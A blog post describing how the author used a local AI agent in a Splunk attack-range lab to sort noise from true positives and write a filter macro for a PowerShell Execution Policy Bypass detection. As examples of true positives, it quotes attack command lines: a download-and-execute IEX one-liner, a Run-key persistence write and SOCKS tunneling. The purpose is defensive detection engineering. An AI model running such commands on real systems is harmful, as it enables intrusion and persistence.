Tuning Splunk RBA Detections with Agentic AI

Detection tuning is one of those security engineering chores that never ends: a detection (correlation search) fires, and sometimes >99% of the hits are environment noise. It is time-consuming and error-prone to read every event, decide what’s benign, and encode that judgment into a filter. I wanted to see if AI can improve this workflow.

BLUF: This is a highly-scalable solution to implementing and tuning Splunk ES RBA.

This is a write-up of what I built and what I learned, using one Enterprise Security detection as the proof of concept.

A note about security/privacy using AI. I performed all of this using a local AI model, so there’s no risk of confidential data being leaked to any cloud provider. Of course, it is still important to be mindful of the local AI agent/server, and ensure that it is not running any untrusted code or unexpectedly sending data to any internet location – same concerns as for any other software you run.

The setup: a cyber range wired into my Splunk

I run attack simulations with Ludus and its Splunk attack-range integration. The range executes attacks via scripts, configures Windows forwarders automatically, and ships everything into my existing Splunk instance. So the environment produces two kinds of events:

  • Attack activity — exactly what ES detections should catch.
  • Everything else — Windows setup, tooling installs, background automation. This is the noise that normally drowns a fresh detection.

The result is something like this screenshot. It’s hard to read, even harder to understand. We need to find the needle (true positive) in a stack of hay (noise). Each row here goes to the risk index. A single risk event doesn’t usually generate an incident in the analyst queue. But in a typical enterprise environment, there is a huge mixture of commercial, open source, and bespoke software that makes tuning a laborious task. unfiltered detections

Deliberately generating noise

I built the attack range, and events were correctly forwarded to my existing Splunk environment. When you use Splunk Attack Range (or Ludus), the environment is built and configured automatically according to the configuration that you specify. The default configuration creates a Splunk instance and configures it to receive the events from the victim server (the Windows Server running the PowerShell commands in this scenario.)

To make the tuning problem non-trivial, I used my Hermes agent to generate noise. A fresh Windows server with nothing installed is not going to be doing any Execution Policy bypass events. So Hermes installed applications and ran benign PowerShell commands on the range hosts. Then I pointed the same agent back at the data and had it research the noise — identifying which applications and activity patterns generated each cluster of events.

Instead of me eyeballing events and researching executable names and Windows event codes, the agent decoded command lines, traced parent processes, and grouped events by their actual source, made recommendations. Once I approved, it updated the detection filter macro.

The proof of concept: PowerShell Execution Policy Bypass

The detection I tuned is “Malicious PowerShell Process - Execution Policy Bypass”. This is an out of the box correlation search and common malware path. This is T1059.001 in the MITRE ATT&CK Matrix, one of the most important techniques to monitor. In a normal production environment, this detection often generates a lot of noise, and it’s quite time-consuming and error-prone for a human to review each false positive and come up with an appropriate filter.

Once the range attacks and noise risk events were being indexed in Splunk, I asked the agent to tune the detection by updating the detection’s filter macro. The pattern for ES detections is to use a “filter” macro that is the last | pipe of the query. Modify the macro as needed but don’t change the detection query itself. That way you can update to the latest ESCU version of the detection without any trouble. The filter macro is just an ordinary macro. You can use any (or multiple) SPL commands as needed in order to filter the search results. This is the bread and butter of “tuning”, and it’s always been a laborious part of implementing ES (for me anyway).

In my lab environment, here are some of the process field values that were hitting the rule:

process verdict
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NonInteractive -File "C:\ludus\background\set-bg.ps1" noise
powershell -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAGUAbgB2ADoAUABhAHQAaAAgACsAPQAgACcAOwBDADoAXABQAHIAbwBn... (choco install) noise
powershell -NonInteractive -NoProfile -ExecutionPolicy Bypass -File C:\Windows\CCM\SystemTemp\fb9b7277-....ps1 noise
powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\fixA2.ps1 kept (judgment call)
"C:\...\powershell.exe" -exec bypass -noprofile -c "IEX(New-Object Net.WebClient).DownloadString('http://...')" true positive
powershell.exe & {$RunKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ... socks5_powershell ...} true positive
These five event patterns were sometimes repeated dozens of times, and all of this from installing just one software package. The true positives were rare, and background processes in any corporate environment can create countless events clustered in different patterns that are beyond my human ability to efficiently triage. This is all machine data in the first place, and there’s nothing “senior level” about googling executable names and decoding base64.

So this is where I asked my Hermes Agent:

Use the Splunk REST API to tune detection "ESCU - Malicious PowerShell Process - Execution Policy Bypass - Rule"

review the results. filter out "noise" by adjusting the macro "malicious_powershell_process___execution_policy_bypass_filter".
Don't make any other changes.
Explain your decisions. How do you know what is true positive vs. noise?

Here’s what the ‘ol clanker gave me:


How noise vs. true positives was classified

Every -EncodedCommand hit was decoded locally (base64 → UTF-16LE) and judged on parent process, path, and intent:

Suppressed as noise:

  • C:\ludus\background\set-bg.ps1 (×23) — parent explorer.exe, the range’s own wallpaper script. Repetitive, benign, machine-setup context.
  • C:\Windows\CCM\SystemTemp\*.ps1 — CCM is the SCCM/MECM client cache; the ConfigMgr client runs install scripts there (one decoded blob literally creates the directory).
  • Chocolatey bootstrap and choco install notepadplusplus 7zip — package-manager provisioning, including Chocolatey’s own profile script with AV-status checks.

Kept as true positives:

  • IEX(New-Object Net.WebClient).DownloadString(...) — classic fileless download-and-execute.
  • IEX(New-Object XmlArray) — no legitimate tooling does this; it’s a known malicious test payload.
  • HKCU Run-key write plus socks5_powershell — persistence plus tunneling.
  • C:\Windows\Temp\fixA2.ps1 (parent gspawn-win64-helper.exe) — kept deliberately. An arbitrary script running from Temp with bypass is exactly what this rule exists to catch. The parent is a Git for Windows helper, so it could be lab tooling — but that’s the kind of ambiguity where leaving the alert on is the right call.

The filter macro the agent produced

where NOT (like(process, "%set-bg.ps1%") 
OR like(process, "%\\Windows\\CCM\\SystemTemp\\%") 
OR like(process, "%choco%") 
OR like(process, "%CgAkAGUAbgB2ADoAUABhAHQAaAAgACsAP%") 
OR like(process, "%YwBoAG8AYwBv%") 
OR like(process, "%CgBpAGYAIAAoAC0AbgBvAHQAIAAoAEcAZQB0AC0AQwBvAG0AbQBhAG4AZAAgAGMAaABvAGMAbwA%") 
OR like(process, "%RwBlAHQALQBNAHAAQwBvAG0AcAB1AHQAZQByAFMAdABhAHQAdQBz%") 
OR like(process, "%RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAYwBjAG0A%"))

Why the filters are written that way

Three design decisions matter here, and each came from hitting a real constraint:

The macro expands as the last pipe of the rule’s SPL, so it must start with a valid search command. My first attempt used search NOT (glob OR glob), which misbehaved on this Splunk 10.6 box — globs with backslashes and NOT (A OR B) forms evaluated inconsistently. Moving to where NOT (like(...)) fixed it: like is plain substring matching with SQL-style escaping, no regex or glob fragility.

Encoded commands can’t be matched in plaintext. The Chocolatey noise exists only as base64 inside the process field, and classic SPL has no base64decode. So the macro matches stable base64 fragments of the known-benign scripts (YwBoAG8AYwBv is UTF-16LE choco). This is the weak point of the design: it’s precise for what was observed, but brittle — a re-encoded or reworded Chocolatey script would slip through the filter. Crucially, though, it slips through as a detection, not as silence. Fail-safe, not fail-silent.

Suppression stays inside the macro. The rule itself was left untouched, and every suppressed row is provably benign by path, parent, or decoded content. This means the detection can be updated when ESCU publishes an update, and the filter is auditable clause by clause.


Takeaways

My experiment really shows the capabilities of agentic AI to greatly reduce human toil and at the same time improve quality. Decoding base64 blobs, grouping events by parent process, and drafting a syntactically awkward where NOT (like(...)) macro are important but time consuming. The speed, thoroughness, and accuracy of trustworthy local AI is a huge productivity boost. With my experience of running a local model, and maintaining secure computation environments, I was able to prove the capability to myself while also doing so in a way that upholds my own cybersecurity standards and adaptable to those of any particular environment.